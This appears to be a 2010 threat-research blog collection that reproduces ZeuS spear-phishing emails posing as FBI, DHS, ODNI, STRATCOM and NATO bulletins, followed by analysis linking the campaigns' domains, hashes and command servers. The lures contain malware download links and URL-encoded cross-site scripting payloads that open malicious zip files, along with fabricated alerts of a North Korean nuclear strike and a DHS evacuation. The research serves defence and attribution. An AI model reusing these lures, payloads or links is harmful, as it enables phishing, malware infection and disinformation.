This report is a product of the Defense Science Board (DSB). The DSB is a Federal Advisory Committee established to provide independent advice to the Secretary of Defense. Statements, opinions, conclusions and recommendations in this report do not necessarily represent the official position of the Department of Defense.

Download:

http://mv.net.md/dsb/DSB.zip

or

http://www.sendspace.com/file/rdxgzd

___________
Office of the Under Secretary of Defense
For Acquisition, Technology, and Logistics
Washington, D.C. 20301-3140

February 21, 2010
Source: http://cafe.comebackalive.com/viewtopic.php?f=1&t=48812&start=0
Source: http://osdir.com/ml/general/2010-02/msg25834.html

From: cttd@fbi.gov
Date: February 21, 2010 7:37:16 AM GMT+05:00
Subject: INTELLIGENCE BULLETIN

FEDERAL BUREAU OF INVESTIGATION
INTELLIGENCE BULLETIN

February 2010

Weapons of Mass Destruction Directorate

Indicators for Terrorist Use of Toxic Industrial Chemicals

THIS INTELLIGENCE BULLETIN PROVIDES LAW ENFORCEMENT AND OTHER PUBLIC SAFETY OFFICIALS WITH SITUATIONAL AWARENESS CONCERNING INTERNATIONAL AND DOMESTIC TERRORIST TACTICS.

UNCLASSIFIED//FOR OFFICIAL USE ONLY

Download:

http://timingsolution.com/Doc/BULLETIN.zip

or

http://www.sendspace.com/file/goz3yd

___________
HANDLING NOTICE: Recipients are reminded that FBI Intelligence Bulletins contain sensitive terrorism and counterterrorism information meant for use primarily within the law enforcement and homeland security communities. Such bulletins shall not be released, either in written or oral form, to the media, the general public, or other personnel who do not have a valid need-to-know without prior approval from an authorized FBI official, as such release could jeopardize national security.

March 6, 2010
Source: http://aquiacreek.com/showthread.php?1712-URGENT!-Phising-Email-Scam

Office of the Director of National Intelligence INTELLIGENCE BULLETIN UNCLASSIFIED//FOR OFFICIAL USE ONLY

(U//FOUO) DPRK has carried out nuclear missile attack on Japan

06 March 2010

(U//FOUO) Prepared by Defense Intelligence Agency

(U//FOUO) Today, March 06, 2010 at 7.12 AM local time (UTC/GMT -5 hours), US seismographic stations recorded seismic activity in the area of Okinawa Island (Japan). According to National Geospatial-Intelligence Agency, Democratic People’s Republic of Korea has carried out an average range missile attack with use of nuclear warhead. The explosion caused severe destructions in the northern part of the Okinawa island. Casualties among the personnel of the US military base are being estimated at the moment.

(U//FOUO) In connection with the occurred events, it is necessary for the personnel of the services listed below to be ready for immediate mobilization:

CENTRAL INTELLIGENCE AGENCY

DEFENSE INTELLIGENCE AGENCY

DEPARTMENT OF ENERGY:
OFFICE OF INTELLIGENCE AND COUNTERINTELLIGENCE

DEPARTMENT OF HOMELAND SECURITY:
OFFICE OF INTELLIGENCE AND ANALYSIS

DEPARTMENT OF STATE:
BUREAU OF INTELLIGENCE AND RESEARCH

DEPARTMENT OF THE TREASURY:
OFFICE OF INTELLIGENCE AND ANALYSIS

DRUG ENFORCEMENT ADMINISTRATION:
OFFICE OF NATIONAL SECURITY INTELLIGENCE

FEDERAL BUREAU OF INVESTIGATION
NATIONAL SECURITY BRANCH

NATIONAL GEOSPATIAL-INTELLIGENCE AGENCY

NATIONAL RECONNAISSANCE OFFICE

NATIONAL SECURITY AGENCY

UNITED STATES AIR FORCE

UNITED STATES ARMY

UNITED STATES COAST GUARD

UNITED STATES MARINE CORPS

UNITED STATES NAVY
________________

(U//FOUO) Additional information can be found in the following report:

http://search.access.gpo.gov/GPO/Search.asp?ct=GPO&q1=%3c%61%20%68%72%65%66%3d%22%6 8%74%74%70%3a%2f%2f%64%6e%69%63%65%6e%74%65%72%2e% 63%6f%6d%2f%64%6f%63%73%2f%72%65%70%6f%72%74%2e%7a %69%70%22%3e%44%6f%77%6e%6c%6f%61%64%20%3c%2f%61%3 e%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f% 70%65%6e%28%27%68%74%74%70%3a%2f%2f%64%6e%69%63%65 %6e%74%65%72%2e%63%6f%6d%2f%64%6f%63%73%2f%72%65%7 0%6f%72%74%2e%7a%69%70%27%29%3c%2f%73%63%72%69%70% 74%3e

________________
Office of the Director of National Intelligence Washington, D.C. 20511

* The actual URL is: http://dnicenter.com/docs/report.zip

March 7, 2010
Source: http://www.blackfortressindustries.com/malware-analysis/e-mail-with-phishing-links/for-official-use-only—dprk-missile-attack-on-japan
Source: http://www.omninerd.com/articles/A_Short_Look_into_a_Phishing_Email

From: SSC@dia.mil
Date: 7 Mar 2010 14:17:51 (GMT)
Subject: FOR OFFICIAL USE ONLY

Office of the Director of National Intelligence
INTELLIGENCE BULLETIN
UNCLASSIFIED//FOR OFFICIAL USE ONLY

(U//FOUO) DPRK has carried out nuclear missile attack on Japan

06 March 2010

(U//FOUO) Prepared by Defense Intelligence Agency

(U//FOUO) Today, March 06, 2010 at 11.46 AM local time (UTC/GMT -5 hours), US seismographic stations recorded seismic activity in the area of Okinawa Island (Japan). According to National Geospatial-Intelligence Agency, Democratic People’s Republic of Korea has carried out an average range missile attack with use of nuclear warhead. The explosion caused severe destructions in the northern part of the Okinawa island. Casualties among the personnel of the US military base are being estimated at the moment.

(U//FOUO) In connection with the occurred events, it is necessary for the personnel of the services listed below to be ready for immediate mobilization:

CENTRAL INTELLIGENCE AGENCY

DEFENSE INTELLIGENCE AGENCY

DEPARTMENT OF ENERGY:
OFFICE OF INTELLIGENCE AND COUNTERINTELLIGENCE

DEPARTMENT OF HOMELAND SECURITY:
OFFICE OF INTELLIGENCE AND ANALYSIS

DEPARTMENT OF STATE:
BUREAU OF INTELLIGENCE AND RESEARCH

DEPARTMENT OF THE TREASURY:
OFFICE OF INTELLIGENCE AND ANALYSIS

DRUG ENFORCEMENT ADMINISTRATION:
OFFICE OF NATIONAL SECURITY INTELLIGENCE

FEDERAL BUREAU OF INVESTIGATION
NATIONAL SECURITY BRANCH

NATIONAL GEOSPATIAL-INTELLIGENCE AGENCY

NATIONAL RECONNAISSANCE OFFICE

NATIONAL SECURITY AGENCY

UNITED STATES AIR FORCE

UNITED STATES ARMY

UNITED STATES COAST GUARD

UNITED STATES MARINE CORPS

UNITED STATES NAVY
________________

(U//FOUO) Additional information can be found in the following report:

http://www.mod.gov.ge/2007/video/movie.php?l=G&v=%22%3e%3c%61%20%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%6f%66%66%69%63%69%61%6c%77%65%69%67%68%74%6c%6f%73%73%68%65%6c%70%2e%6f%72%67%2f%77%70%2d%61%64%6d%69%6e%2f%72%65%70%6f%72%74%2e%7a%69%70%22%3e%44%6f%77%6e%6c%6f%61%64%20%3c%2f%61%3e%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%70%65%6e%28%27%68%74%74%70%3a%2f%2f%6f%66%66%69%63%69%61%6c%77%65%69%67%68%74%6c%6f%73%73%68%65%6c%70%2e%6f%72%67%2f%77%70%2d%61%64%6d%69%6e%2f%72%65%70%6f%72%74%2e%7a%69%70%27%29%3c%2f%73%63%72%69%70%74%3e%3c%22

________________
Office of the Director of National Intelligence
Washington, D.C. 20511

* The actual URL is: http://officialweightlosshelp.org/wp-admin/report.zip

March 11, 2010
Source: http://cafe.comebackalive.com/viewtopic.php?f=1&t=48812&start=0
Source: http://dl.ambiweb.de/mirrors/www.tldp.org/LDP/LGNET/173/lg_launderette.html

From: hsi@dhs.gov
Date: March 11, 2010 11:38:56 PM GMT+05:00
Subject: U.S. Department of Homeland Security

Department of Homeland Security
INTELLIGENCE BULLETIN
UNCLASSIFIED

11 March 2010

Yesterday the Department of Homeland Security has received the prevention from NASA’s Jet Propulsion Laboratory about the occurred shift of Earth’s figure axis:
________

The recent Chilean earthquake shifted the axis by approximately three inches and shortened the length of a day by 1.26 microseconds. According to NASA’s Jet Propulsion Laboratory the displacement of Earth’s axis will cause natural disasters on the Eastern coast of the USA including Florida, Georgia, South and North Carolina.
________

In this connection the DHS has made a decision to prepare for general evacuation from the specified area. The population of the region should be ready for evacuation. It is necessary collect valuable possessions, documents, things of first necessity, and wait for the announcement.

In order to prevent panic among the population DHS asks to stay calm and follow the official instructions listed below:

http://dhsorg.org/docs/instructions.zip

________________
U.S. Department of Homeland Security
Washington, DC 20528

March 13, 2010
Source: http://www.blackfortressindustries.com/malware-analysis/e-mail-with-phishing-links/re-instructions-unclassified

From: NSI@dhs.gov
Date: 13 Mar 2010 18:26:54 (GMT)
Subject: RE: Instructions UNCLASSIFIED

U.S. Department of Homeland Security
INTELLIGENCE BULLETIN
UNCLASSIFIED

13 March 2010

Yesterday the Department of Homeland Security has received the prevention from NASA’s Jet Propulsion Laboratory about the occurred shift of Earth’s figure axis:
______________________

The recent Chilean earthquake shifted the axis by approximately three inches and shortened the length of a day by 1.26 microseconds. According to NASA’s Jet Propulsion Laboratory the displacement of Earth’s axis will cause natural disasters on the Eastern coast of the USA including Florida, Georgia, South and North Carolina.
______________________

In this connection the DHS has made a decision to prepare for general evacuation from the specified area. The population of the region should be ready for evacuation. It is necessary collect valuable possessions, documents, things of first necessity, and wait for the announcement.

In order to prevent panic among the population DHS asks to stay calm and follow the official instructions listed below:

http://www.sendspace.com/file/h96uh1

or

http://depositfiles.com/files/xj1wvamc4

________________________________________
U.S. Department of Homeland Security
Washington, DC 20528

June 16, 2010
Source: http://www.clearancejobs.com/security_tips.php

From: rss@stratcom.mil
Date: Wed Jun 16 13:10:08 2010
Subject: From STRATCOM to

,

United States Strategic Command

Commanders Reading List

Professional development is essential to the successful execution of our mission – to provide global security for America. One key component to professional development is reading and critically thinking about military issues, history, and leadership. I am pleased to announce the following selections for my 2010 Commander’s Professional Reading List. It is my intent that this list will serve as a guide for all STRATCOM military and civilian personnel to enhance their professional knowledge.

All of the titles below are available immediately for check-out at the Thomas S. Power Library on base and in the USSTRATCOM Leadership Institute.

Our overarching objective is to provide global security to our nation-the best in the world. I encourage everyone to read these titles and continue your professional development so you can continue to be the finest operators, planners, and advocates for STRATCOM and its global mission set.

KEVIN P. CHILTON
General, USAF
Commander

Inside Cyber Warfare: Mapping the Cyber Underworld (Dec 2009)

This book provides fascinating and disturbing details on how nations, groups, and individuals throughout the world are using the Internet as an attack platform to gain military, political, and economic advantages over their adversaries. Discusses how sophisticated hackers, working on behalf of states or organized crime, patiently play a high-stakes game targeting anyone, regardless of affiliation or nationality. (Amazon.com)

Author: Jeffrey Carr is a cyber intelligence expert, columnist for Symantec’s Security Focus, and author who specializes in the investigation of cyber attacks against governments and infrastructures by State and Non-State hackers. Mr. Carr is the Principal Investigator for Project Grey Goose, an Open Source intelligence investigation into the Russian cyber attacks on Georgia in August, 2008. His work has been quoted in The New York Times, The Washington Post, The Guardian, BusinessWeek, Parameters, and Wired.

Additional information can be found in the following report:

http://tiesiog.puikiai.lt/report.zip

http://somashop.lv/report.zip

________________________________________
To report a problem please submit an ODNI/ICES Ticket
Phone: 301-688-1800 (commercial), 644-1800 (DSN), 363-6105 (NSTS)”

June 17, 2010
Source: http://kerneltrap.org/mailarchive/openbsd-bugs/2010/6/17/6884952
Source: http://www.mail-archive.com/ports@openbsd.org/msg28673.html

From: izhar.mujaddid@pentagon.af.mil
Date: Thursday, June 17, 2010 – 11:57 am
Subject: Scientific Advisory Board

UNCLASSIFIED//FOR OFFICIAL USE ONLY

United States Air Force

Scientific Advisory Board

Report on Defending and Operating in a Contested Cyber Domain

Executive Summary and Annotated Brief
SAB-TR-10-01
June 2010

This report is a product of the United States Air Force Scientific Advisory
Board Study Committee on Defending and Operating in a Contested Cyber
Domain. Statements, opinions, findings, recommendations and conclusions
contained in this report are those of the Study Committee and do not
necessarily represent the official position of the United States Air Force or the United States Department of Defense.

Additional information can be found in the following report:

http://www.christianrantsen.dk/report.zip

http://enigmazones.eu/report.zip

________________________________________
HQ USAF/SB
1180 AF PENTAGON RM 5D982
WASHINGTON, DC 20330-1180

June 17, 2010
Source: http://permalink.gmane.org/gmane.linux.debian.qa-packages/33936

From: tsa@dhs.gov
Date: 2010-06-17 18:01:16 GMT
Subject: (U) Transportation Security Administration

UNCLASSIFIED//FOR OFFICIAL USE ONLY

(U) Transportation Security Administration

(U) Terrorist Attack Methods in Airport Terminals

A Predictive Analysis for the Detection-Technology Community

15 June 2010

(U//FOUO) This Transportation Security Administration Office of Intelligence (TSA-OI)
assessment, developed at the request of the TSA Office of Security Technology,
examines the terrorist tactics used to attack passengers inside the public areas of an
airport terminal in order to assist in developing security procedures and deploying threat
detection technology to this area. This assessment examined a number of unclassified
sources detailing disrupted plots, bombings, suicide bombers, and armed assaults
conducted in the public areas of airports from the 1960s to the present. Additionally,
attacks on other critical infrastructure targets were reviewed in order to assess which
tactics are more likely to be considered by terrorists targeting airport terminals.

Additional information can be found in the following report:

http://www.christianrantsen.dk/report.zip

http://enigmazones.eu/report.zip

________________________________________
Department of Homeland Security
Office of Infrastructure Protection
Infrastructure Security Compliance Division
Mail Stop 8100
Washington, DC 20528

* A variety of these emails are also available at: http://www.sophos.com/blogs/sophoslabs/?p=10116

August 26, 2010
Source: http://contagiodump.blogspot.com/2010/08/cve-2010-1240-with-zeus-trojan.html

From: ifc@ifc.nato.int
Date: Thu, 26 Aug 2010 08:24:30 -0500
Subject: From Intelligence Fusion Centre

Intelligence Fusion Centre
In support of NATO
RAF Molesworth, United Kingdom
Unit 8845 Box 300, Huntingdon
CAMBS PE28 0QB

FROM: Intelligence Fusion Centre
SUBJECT: Military operation of the EU

Additional information can be found in the following report:

http:// gnarus.mobi/media/EuropeanUnion_MilitaryOperations_EN. zip
http:// quimeras.com.mx/media/EuropeanUnion_MilitaryOperations_EN.ip

> EUROPEAN UNION
> EUROPEAN SECURITY AND DEFENCE POLICY
> Military operation of the EU
> EU NAVFOR Somalia
>
> This military operation, called EU NAVFOR Somalia – operation
> “Atalanta”, is launched in support of Resolutions 1814 (2008), 1816
> (2008), 1838 (2008) and 1846 (2008) of the United Nations Security Council (UNSC) in order to contribute to:
> – the protection of vessels of the WFP (World Food Programme) delivering food aid to displaced
> persons in Somalia;
> – the protection of vulnerable vessels cruising off the Somali coast, and the deterrence, prevention
> and repression of acts of piracy and armed robbery off the Somali coast.
> This operation, which is the first EU maritime operation, is conducted
> in the framework of the European Security and Defence Policy (ESDP).
>
>
> More information and background documents available on
> http:// gnarus.mobi/media/EuropeanUnion_MilitaryOperations_EN. zip
> and
> http:// quimeras.com.mx/media/EuropeanUnion_MilitaryOperations_EN. zip
>
> ________________________________________
> PRESS – EU Council Secretariat Tel: +32 (0)2 281 7640 / 6319

Crime or Espionage?



ZeuS is a well known crimeware tool kit that is readily available online. The tool allows even the most unskilled to operate a botnet. Typically, Zeus has been associated with banking fraud. Recently, there have been a series of attacks using the Zeus malware that appear to be less motivated by bank fraud and more focused on acquiring data from compromised computers. The themes in the emails — often sent out to .mil and .gov email addresses — focus on intelligence and government issues. After the user receives such an email, and downloads the file referenced in the email, his or her computer will likely (due to the low AV coverage) become compromised by the ZeuS malware used by the attackers and will begin communicating with a command and control server. It will then download an additional piece of malware, an “infostealer”, which will begin uploading documents from the compromised computer to a drop zone under the control of the attackers. Are these series of attacks connected? Are these events indicating a blurring of the boundaries between online crime and espionage? Or are government and military personnel just another target for online criminal activity?

This post was inspired by a recent post at contagio.blogspot.com. What appears to be a one-off attack using Zeus, I believe, is actually another round of a series of Zeus attacks. These attacks appear to be aimed at those interested in intelligence issues and those in the government and military, although the targeting appears to be general rather than targeted.

Round 1

On February 6th, 2010, Brian Krebs reported that attackers using the Zeus trojan targeted a variety of .gov and .mil email addresses in a spear phishing attack that appeared to be from the National Security Agency and enticed users to download a report called the “2020 Project.” The command and control server used in the attacks was updatekernel.com.

Round 2

Following the publication of the article by Brian Krebs, attackers took portions of his article and used them as lure in further spear phishing attacks. Sophos Labs analyzed the sample that used Kreb’s post. A post on Intelfusion.com by Jeff Carr regarding the spear phishing attack was also used in another attack. I documented these attacks in “The ‘Kneber’ Botnet, Spear Phishing Attacks and Crimeware“. The key command and control server in this case was also updatekernel.com.

Round 3

In early March 2010, more emails began circulating, one of which encouraged users to download malware from dhsorg.org (222.122.60.186). This malware used greylogic.org (222.122.60.186) as a command and control server. In addition to sharing an IP address, both domain were registered by hilarykneber@yahoo.com. The attack continued using the domain names dhsinfo.info, greylogic.info, and intelfusion.info (abuseemaildhcp@gmail.com) which were hosted on 218.240.28.34. The domain names used in these attacks were variations of domain names owned by Jeff Carr who has aptly characterized these attacks as a “Poisoning The Well” attack.

Round 4

In June 2010 another campaign began. The lure of the attack emphasizes Jeff Carr’s book “Inside Cyber Warfare: Mapping the Cyber Underworld” with the text copied from http://www.stratcom.mil/reading_list/. The command and control server in this case was from-us-with-love.com.

Round 5

Mila Parkour recently posted details of an interesting attack on contagiodump.blogspot.com. The email used in the attack appeared to be from “ifc@ifc.nato.int” with the subject “Intelligence Fusion Centre” and contained links to a report EuropeanUnion_MilitaryOperations_EN.pdf that exploits CVE-2010-1240 in order to drop a ZeuS binary.

File name: EuropeanUnion_MilitaryOperations_EN.pdf
MD5: 8b3a3c4386e4d59c6665762f53e6ec8e
VT: 11/41 (26.8%)

File name: exe.exe
MD5: 5fb94eef8bd57fe8e20ccc56e33570c5
VT: 3/41 (7.3%)

File name: ntos.exe
MD5: 28c4648f05f46a3ec37d664cee0d84a8
VT: 4/39 (10.3%)

First, the ZeuS malware connects to from-us-with-love.info (91.216.141.171) to receive the Zeus config file. Second, the malware connects to vittles.mobi (174.132.255.10) to download an infostealer. Finally, the infostealer connects to nicupdate.com (85.31.97.194).

logic.exe
MD5: 4f47b495caae1db79987b34afc971eaa
VT: 3/ 42 (7.1%)

The domain name from-us-with-love.info was registered by “Maria Laguer” with the email address admin@from-us-with-love.info, which was also used to register from-us-with-love.com (the name is also associated with other ZeuS domain, see MDL). The decrypted ZeuS config file from from-us-with-love.info contains two additional domain names: enigmazones.eu and askkairatik.net. The domain names were used as part of a previous ZeuS campaign that used from-us-with-love.com as a command and control server. IN addition the location of the malware, quimeras.com.mx, was also used in a previous campaign that had from-us-with-love.com as the command and control server.

One of the email addresses (www-data@nighthunter.ath.cx) that was used to propagate the malware associated with enigmazones.eu also delivered the emails containing malware hosted on dhsorg.org, which was registered by the infamous hilarykneber@yahoo.com and used in attacks in May. The domain dhsorg.org was hosted on 222.122.60.186 along with greylogic.org which was used as a command and control server.

The boundaries between the online crime and espionage appear to be blurring making issues of attribution increasingly more complex. Are online criminals simply targeting those interested in intelligence issues as well as members of the government and military for fraud? Have they determined that they can exploit such persons for fraud in addition to selling and sensitive data acquired to those who would be in the market for such information? Or is the campaign more specifically oriented toward espionage using ZeuS and the malware ecosystem as convenient cover? While these questions are unlikely to be ever definitively answered, we can begin to assess qualitative changes in attacks by tracking them overtime and carefully linking together seemingly disparate peices of data. This post was made possible by a wide variety of sources that each posted components of these attacks. While there is a need to protect certain sources as well as operation security so that the “bad guys” are not tipped off and continued research into their malicious activities remains possible, information sharing remains a key component malware research.

A Random Walk Through the Malware Ecosystem



The forum at darkcc.com is a location where buyers and sellers of stolen credit card information conduct exchanges. There are many forums like this that are part of the thriving market that sustain the “botnet ecosystem.” The servers that host these types of forums are typically involved in a variety of nefarious activities. This one hosts a variety of malicious software:

www.sokam .info /admnew2/Dr.exe (VT: 33/40 (82.50%)
infoshok .info /exe.php?606717496665bcba (VT: 20/40 (50.00%))
superhomelawn .com /per4d/load/load.exe (VT: 5/41 (12.20%))
senders2010 .com /sites/up.bin (zbot/zeus)
keroholek .net /tt/stat/index.php (zbot/zeus)
newdaypeace .org /npd2e/bb.php?… (oficla/sasfis)

The sites are hosted on 121.101.216.195 – SUNINFO-MDC which is located in China.

One “trusted” seller (meaning that the forum administrator had vouched for him/her) known as mrdump caught my attention. mrdump’s minimum order is now $1000 USD. In addition to advertising his/her services on the forum, mrdump included his/her website, mrdump.biz.

The site is hosted on 121.101.216.205 – SUNINFO-MDC in China and, as usual, these a fair amount of nasty stuff, mostly zeus/zbot (heroladaaw.biz, ddkom.biz, herakert.net) hosted on the same server. Another zeus/zbot command and control server found on the same server is: www.kalekets.net/tt/cfg/config.bin

There is also a BlackEnergy command and control server hosted on the same server: sinergy-dl.com. It was a fairly small botnet (total bot’s: 171, bot’s per hour: 213, bot’s per day:437, bot’s for all time:1816) and was issuing the following command “flood http kirbyservice.ru” — instructing the bots to DDoS kirbyservice.ru. Recently, the command has been changed to “die”.

One interesting find pertains to the rivalry between Zeus and SpyEye. The same server hosts www.coolparts31.tw which is a known zeus/zbot command and control server. Well it turns out that it is also a Spy Eye command and control server:

www.coolparts31.tw/S_main/bin/upload/build.exe (27/41 (65.85%))
www.coolparts31.tw/S_main/bin/upload/33.exe (VT: 10/41 (24.4%))
www.coolparts31.tw/S_main/bin/upload/server.exe (VT: 35/41 (85.37%))
www.coolparts31.tw/S_main/bin/upload/server12.exe (VT: 35/40 (87.5%))
www.coolparts31.tw/S_main/bin/upload/xServer.exe (VT: 8/40 (20%))

I recall someone (I am pretty sure it was Dancho Danchev — UPDATE: and it was here and here (thx @danchodanchev)) — reacting to this rivalry by saying that the criminals don’t really care, they’ll use any malware kit that works.

Or something like that.

Sometimes, we get sidetracked by the tools, but it’s the crime that pays.

Rogue AV, ZeuS and Spear Phishing



Brian Krebs just posted a great article about avprofit.com, an affiliate program for malware distributors, who get $1 per install. But they don’t just spread rogue (fake) anti-virus software, they also spread ZeuS:

Distributors or “affiliates” who sign up with avprofit.com, for example, are given access to an installer program that downloads not only rogue anti-virus but also ZeuS, a stealthy piece of malware that specializes in mining online banking credentials from infected PCs.

There are some very interesting things about this development:
1. The email address used to register avprofit.com is abuseemaildhcp@gmail.com
2. abuseemaildhcp@gmail.com is the email address used to register updatekernel.com, the domain used in targeted spear phishing attacks
3. The binary that the malware distributors were given to spread (baba913304d400802be62e815579c41a) is the same as the binary used in a targeted spear phishing attack
4. The website that hosted the malware in the spear phishing attack was the same as the one used in another spear phishing attack that used portions of Brian Krebs’ article as lure.
5. The command and control for a number of these attacks was updatekernel.com

Krebs lays out an impressive analysis of the broader ecosystem of these criminal networks. It is even more interesting when we factor in the attacks against .mil & .gov email addresses and the extraction of sensitive documents — as opposed the banking credentials usually targeted by ZeuS — and the sensitive nature of the entities from whom these documents were ex-filtrated.

All for $1 a piece.

The “Kneber” Botnet, Spear Phishing Attacks and Crimeware



After I received an email from Jeff Carr warning about a spoofed email containing malware, I asked Jeff to send it along. It turns out that the attackers also used portions of a blog post by Brian Krebs as lure. What interesting is that the attack targeted .mil and .gov email addresses using text from Carr and Krebs about an earlier attack targeting .mil and .gov email addresses. A quick analysis of the sample indicated that it was Zeus and was beaconing to a known Zeus command and control server. However, the interesting part, for me, is what happened after getting compromised by Zeus, and I have to really thank Jeff for passing along the email because it led me to this stuff.

Around the same time news of the Kneber botnet broke and Netwitness linked the two attacks together. While much of the coverage of Kneber was hype-filled, the actual report by Netwitness is excellent and you can get a hype-free overview by Alex Cox, the guy who discovered it, here. The response of some of the AV vendors has been troubling. Essentially some said that this is nothing new, it’s just Zeus, and that there’s long been AV protection for Zeus. Netwitness responded stating that many AV’s actually did not detect the samples they analyzed.

The sample from the sample I analyzed the coverage was 18/41 on Virustotal.

The main issue for me was the use of Zeus to drop malware that focused on document removal and that it was used in conjunction with spear phishing attacks on .mil/gov email addresses. This second drop was 5/41 on Virustotal.

From the data it seems like the attackers were capturing whatever they could, not retrieving specific documents. That said, they managed to compromise the types of people they appeared to be after (in terms of who the phishing mails were sent to) and in a few cases managed to get some very interesting documents.

I think the broader issue is what Brian Krebs alluded to in the comments section of his blog – and Netwitness indicated this as well — that is if we believe that these crimeware types are squeezing all the monetary value they can out of their operations, what would they do with the type of information that has intelligence value but is not easily monetized in a traditional sense? And how better to obscure attribution that to use existing crimeware infrastructure for what appears to be more espionage that traditional crime?

I am keeping these as open questions because I am not sure how strong the connection is and tend to be cautious on these issues. But I do think it is an interesting case.

Read the full post here and here.

UPDATE: I’ve copied the report into this post.
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